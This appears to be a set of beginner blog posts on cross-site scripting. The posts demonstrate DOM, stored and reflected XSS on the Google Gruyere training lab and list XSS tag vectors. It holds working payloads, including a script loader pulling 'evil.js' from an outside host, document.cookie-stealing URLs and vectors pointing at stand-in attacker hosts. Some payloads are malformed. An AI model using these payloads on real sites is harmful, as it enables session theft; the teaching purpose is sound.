DOM Based XSS

We have discussed about DOM Based XSS in our previous posts . An Overview is as below:

The DOM enables dynamic scripts such as JavaScript to reference components of the document such as a form field or a session cookie. The DOM is also used by the browser for security - for example to limit scripts on different domains from obtaining session cookies for other domains.

An Example of DOM based XSS attack is displayed below:

 In the Screenshot below i have uploaded a Series of images on to the test website

The URL of the image displayed here is
http://google-gruyere.appspot.com/757573336816/user/3.jpg 

Here in the address bar i have entered
http://google-gruyere.appspot.com/757573336816/user><img src=x onerror=alert(/DOM-XSS/)>


Here the URL has been modified to execute the sample script

Here as test website  couldn't find the image on the prescribed path it displayed an error , but in the process of displaying the image the script has been executed.


So in this way one can test his application for DOM based  XSS vulnerability

Stored XSS

What exactly is Stored XSS?? 

 

The persistent (or stored) XSS vulnerability is a devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to other users in the course of regular browsing, without proper HTML escaping.



Persistent XSS can be more significant than other types because an attacker's malicious script is rendered automatically, without the need to individually target victims or lure them to a third-party website. Particularly in the case of social networking sites, or a webpage where comments can be posted the code would be further designed to self-propagate across accounts, creating a type of a client-side
The methods of injection can vary a great deal; in some cases, the attacker may not even need to directly interact with the web functionality itself to exploit such a hole. Any data received by the web application (via email, system logs, IM etc.) that can be controlled by an attacker could become an injection vector.





Here we will see an example of how a persistent XSS attack can be performed.

Note: All of these attacks are made on Gruyere , which is an educational website

Sample URL:
<img src=1 onerror="s=document.createElement('script');s.src='//xss-doc.appspot.com/static/evil.js';document.body.appendChild(s);"

I am going to upload this in "About me" section. which will be stores in server 



so the sample script has been uploaded on server

Now lets check what's the impact of it


Now this is what happens. This is just an example how an attacker can input malicious script which can destroy a webpage , steal sensitive info .

In the next blog we will learn more... Till then browse safe !!!:)

Testing for Reflected XSS

Commonly the attacker's code is written in the Javascript language, but other scripting languages are also used, e.g., VBScript. Attackers typically leverage these vulnerabilities to install key loggers, steal victim cookies, perform clipboard theft, and change the content of the page (e.g., download links).

One of the primary difficulties in preventing XSS vulnerabilities is proper character encoding. In some cases, the web server or the web application could not be filtering some encodings of characters, so, for example, the web application might filter out "<script>", but might not filter %3cscript%3e which simply includes another encoding of tags. 

How to Test?

Black Box Testing :This includes three phrases:

1. Detect Input Vectors. For each page tester must determine all the web-application's user based variables and ways to input them - including HTTP parameters, POST data ,hidden form field value and predefined radio or selection values

2.Analyze each input vector to detect vulnerabilities: To detect an XSS Vulnerability tester should use input Data from phrase 1 to make the browser trigger response that manifests vulnerability.Testing data can also be generated by fuzzer.

3.From the result in previous phase analyze if the web-browser response has a realistic impact on web application's security . This involves examining the web page HTML and searching for test input. The tester identifies any special characters that were not properly encoded, replaced or filtered out.

As demonstrated in previous blog , i was able to get session id and user id as proper data sanitization was not done.

This indicates a XSS vulnerability and an attacker can execute any malicious code of his choice.


Gray Box Testing
In gray box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and how the user input is rendered back to the user might be known by the pen-tester. 

Few Tools that can be used for the purpose :-

XSS Proxy , Rat Proxy

Reflected XSS Example

Lab : - Google gruyere

In Reflected XSS Attack , an attacker forces the web-application to return an errorsearch result, or any other response that includes some or all of the input provided by the user as part of the request, without that data being made safe to render in the browser, and without permanently storing the user provided data.

So here lets try to force the webapplication here to through an error , which can be easily done by giving some invalid URL

URL:-http://google-gruyere.appspot.com/421953921451/invalid

This will return an error as the term invalid in the URL is not part of URL

So what an attacker does here is he adds script in the same URL.

Sample URL :-
http://google-gruyere.appspot.com/

421953921451/invalid/<script>alert("TEST");</script>

This gives the following output:-

What's the "KICK" here ???We can use this
vulnerability to  find a user's session id
like below

URL: http://google-gruyere.appspot.com/421953921451/invalid/<script>alert(document.cookie);</script>

In the second image we can see that user's cookie which is stored in system is displayed here.

Now may be not all of us must be aware of what exactly a cookie is ?? and how can it be exploited.

Cookie:-

Cookie is small information stored in text file on user’s hard drive by web server. This information is later used by web browser to retrieve information from that machine. Generally cookie contains personalized user data or information that is used to communicate between different web pages.

How stored cookie can be security threat?

Some times personal information is stored in cookie , so if a user can have access to stored cookies then he use it for his personal benefit .

Lab Enviornment setup for performing various Techniques

Hello Guys!!!

Hope you all enjoyed going through the Articles posted  before and hope it was quite interesting and easy to understand.

Now the most important part of security testing learning is performing various techniques that we have learned on an environment.Well  there are few available Open Source labs which we can use for the purpose -  OWASP WEBGOAT , Google gruyere and many more.

I'll be using Google gruyere for the purpose.

Setup:

The setup of Google gruyere is quiet simple . All one has to do is to simply navigate to http://google-gruyere.appspot.com/start and the appEngine starts a new instance for the user
assign him a new unique id. Each instance of the app is 'sandboxed' from the other instances so your instance won't be affected by anyone else using Gruyere.

Further more Setup steps can be found here

Now we will be implementing various techniques in this lab

Types of XSS

Before with go ahead about types of XSS lets have a quick look at following attacks ,which based on how they are affecting the client or server can be categorised :-

Stored XSS

Stored XSS generally occurs when user input can be stored on the target server, in database, in the form of message in comment filed, visitor log etc. And then victim retrieves the stored data from the web application without that data being made safe to render in the browser. With the advent of HTML5, and other browser technologies, we can avoid the attack payload being permanently stored in the victim’s browser, such as an HTML5 database, and hence stopping it from reaching the server at all.

Reflected XSS

Reflected XSS occurs when user input is immediately returned by a web application in the form of a error message, search result, or any other response that includes some or all of the input provided by the user as part of the request, without that data being made safe to render in the browser, and without permanently storing the user provided data.

DOM Based XSS

Before starting what DOM Based XSS is lets know actually what DOM is ?

DOM stands for Document Object Model and is used for representing and working with objects in an HTML document. DOM consists of objects representing the document properties from the point of view of the browser. Whenever a script is executed client-side, the browser provides the code with the DOM of the HTML page where the script runs, thus, offering access to various properties of the page and their values, populated by the browser from its perspective.

DOM XSS is a type of XSS which relies on inappropriate handling, in the HTML page, of the data from its associated DOM. Among the objects in the DOM, there are several entities which the attacker can manipulate in order to generate the XSS condition, and the most exploited , from this perspective, are the document.url, document.location and document.referrer objects.

In the next Blog post we will see an example of the above .till then 

Happy Learning :)

Website vulnerability exploitation techniques

There are various methods which a attacker can use to exploit or find vulnerability in a webapplication
Below's a pie chart of various ways used by hacker to exploit a web-application .Created by Web Hacking Incident Database for 2013 SQL injection and XSS are most popular

So with Cross site scripting taking a lead , lets first of all know what exactly it is .

Cross-site scripting (XSS) is a  vulnerability that permits an attacker to inject code (typically HTML or Javascript) into contents of a target website. When a viewer views such a page, the injected code executes in the victim's browser. Thus, the attacker has bypassed the browser's same origin policy and can steal victim's private information associated with the website in question.Dynamic Websites suffer from Serious Vulnerabilities rendering organizations helpless and prone to cross site scripting attacks on their data

Any web page which passes parameters to a database can be vulnerable to this hacking technique.Usually these are present in Login forms,Forgot password forms, etc

Theory of XSS:In a typical XSS attack the hacker infects a web page with his malicious client-side script. When a user visits this web page the script is downloaded to his browser and executed. There are many slight variations to this theme, however all XSS attacks follow this pattern, which is depicted in the diagram below.

How its done ???

Internet applications today are dynamic and filled with ever changing content.Modern web pages pull data from many sources.These data is amalgamated with the web page and can contain HTML tags such as <p> for paragraph, <img> for image and <script> for scripts along with other images and other simple texts.Many times hackers use the comment section in a webpage to insert comment that contains script.when a user reads that comment that script is downloaded into his browser and executed.

<SCRIPT>

The <SCRIPT> tag is the most popular way and sometimes easiest to detect. It can arrive to a page in the following forms:

External Script
<SCRIPT SRC=https://Vunerabilites/XSS.js><SCRIPT>

Embedded Script
<SCRIPT>alert("XSS");</SCRIPT>

<IFRAME>

The <IFRAME> tag allows you to import HTML into a page. This important HTML can contain a script.

<IFRAME SRC=”https://hacker-site.com/xss.html”>

<INPUT>

If the TYPE attribute of the <INPUT> tag is set to “IMAGE”, it can be manipulated to embed a script:

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

<LINK>

The <LINK> tag, which is often used to link to external style sheets could contain a script:

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

<TABLE>

The BACKGROUND attribute of the TABLE tag can be exploited to refer to a script instead of an image:

<TABLE BACKGROUND="javascript:alert('XSS')">

The same applies to the <TD> tag, used to separate cells inside a table:

<TD BACKGROUND="javascript:alert('XSS')">

<DIV>

The <DIV> tag, similar to the <TABLE> and <TD> tags can also specify a background and therefore embed a script:

<DIV STYLE="background-image: url(javascript:alert('XSS'))">The <DIV> STYLE attribute can also be manipulated in the following way:

<DIV STYLE="width: expression(alert('XSS'));"><OBJECT>

The <OBJECT> tag can be used to pull in a script from an external site in the following way:

<OBJECT TYPE="text/x-scriptlet" DATA="https://hacker.com/xss.html">

<EMBED>

If the hacker places a malicious script inside a flash file, it can be injected in the following way:

<EMBED SRC="https://hacker.com/xss.swf" AllowScriptAccess="always">

Courtesy :Acunetix and his highness Google

What is Security Testing ?

Security testing verifies whether an application under test only allows designated users and processes access to business functionality and data.

A testing technique to determine if an information system protects data and maintains functionality as intended. It also aims at verifying 6 basic principles as listed below:

Authorization - is mediating access to resources on the basis of identity and is generally policy-driven (although the policy may be implicit). It is the primary security service that concerns most software, with most of the other security services supporting it. For example, access control decisions are generally enforced on the basis of a user-specific policy, and authentication is the way to establish the user in question.

Confidentiality - is really a manifestation of access control, specifically the ability to read data. Since, in computer security, confidentiality is often synonymous with encryption, it becomes a technique for enforcing an access-control policy.

Accountability - Users of a system should generally be accountable for the actions they perform. In other words, this means that systems should log information on operations that could potentially require review. For example, For example every time we withdraw cash from an ATM a log is maintained and same is displayed in mini-statement or account statement and an alert message is sent to mobile no. Associated with account. These help us to keep track of any unauthorised activity in our account. Likewise,logs generated , should generally be difficult to forge, using a message authentication scheme that protects the integrity of logs by authenticating the entity that performed the logging

Authentication -For network connections, it is important to perform authentication at login time, but it is also important to perform ongoing authentication over the lifetime of the connection; Additionally, for data communications, an initial authentication provides assurance at the time the authentication completes, but when the initial authentication is used to establish authenticity of data through the life of the connection, the assurance level generally goes down as time goes on In data communication, authentication is often combined with key exchange. This combination is advantageous since there should be no unauthenticated messages (including key exchange messages) and since general-purpose data communication often requires a key to be exchanged. Even when using public key cryptography where no key needs to be exchanged, it is generally wise to exchange them because general-purpose encryption using public keys has many pitfalls, efficiency being only one of them. .

Availibilty: Most systems that export resources, either directly or otherwise, come with some implicit understanding that those resources will generally be accessible (available). If an availability problem is caused maliciously, it is known as a denial of service attack. Note that data delays can be considered an availability problem

For eg :- Imagine a QA engineer(testing a bank transaction page ) sending a message that says, "This page failed 5 checklist points" that an attacker delays until the he has robbed the organisation's money and other sensitive information of its customers

Non – repudiation- In most two-party data communication, the two parties can prove to themselves whether data comes from an authentic source. But one generally does not have proof that a third party would find plausible. A message for which the original sender or some endorser can be established to third parties is said to be non-repudiable. This security service is generally associated with digital signature schemes.

Courtesy:OWASP